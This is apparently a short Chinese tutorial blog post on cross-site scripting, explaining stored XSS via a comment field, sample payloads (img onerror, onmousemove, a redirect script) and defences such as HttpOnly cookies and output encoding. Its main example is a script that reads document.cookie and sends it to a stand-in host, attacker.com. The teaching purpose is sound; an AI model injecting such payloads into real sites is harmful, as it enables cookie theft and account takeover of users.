网络安全-XSS攻击

551 阅读1分钟

XSS全称Cross Site Scripting,不叫css是为了和样式表区分开,其核心原理就是在目标网页中执行恶意的 js 代码

举个常见例子: A 网站有个用户评论的功能,假设 A 网站未做任何预防XSS的措施,攻击者可以通过输入以下内容:

<script>
    const cookie = document.cookie;
    // ajax 将cookie发送到攻击者自己的服务器(伪代码)
    ajax('http://attacker.com', cookie);
</script>

A网站将该内容保存到服务器并展示在前端页面,这时用户A刚好访问该网页的该评论页面,用户A的浏览器识别script,直接执行scirpt中的代码,最终用户A关于A网站cookie全部被发送到了攻击者的服务器上了,恰巧A网站的登录凭证都是放在cookie中的,攻击者此时完全可以以用户A的身份登录A网站

XSS的攻击方式

除了上面提到的script方式,还有<img onerror />之类的也可以利用,如:

// 利用img的onerror中可以执行脚本
<img src='' onerror='alert("hey!")'>
// 鼠标只要在该标签上移动就会执行
<a onmousemove='do something here'>
<div onmousemove=do something here'>

XSS的攻击意图

  • 窃取目标网页中的cookie

    可通过服务端设置cookiehttp only(需要浏览器支持,毕竟cookie的所有权属于浏览器)。

  • 劫持流量实现恶意跳转

    插入类似如下代码:

<script>window.location.href="http://www.baidu.com";</script>

相当于目标网站的流量。

防范手段

  • 过滤<script><img><a>等标签
  • 对用户上传的内容进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。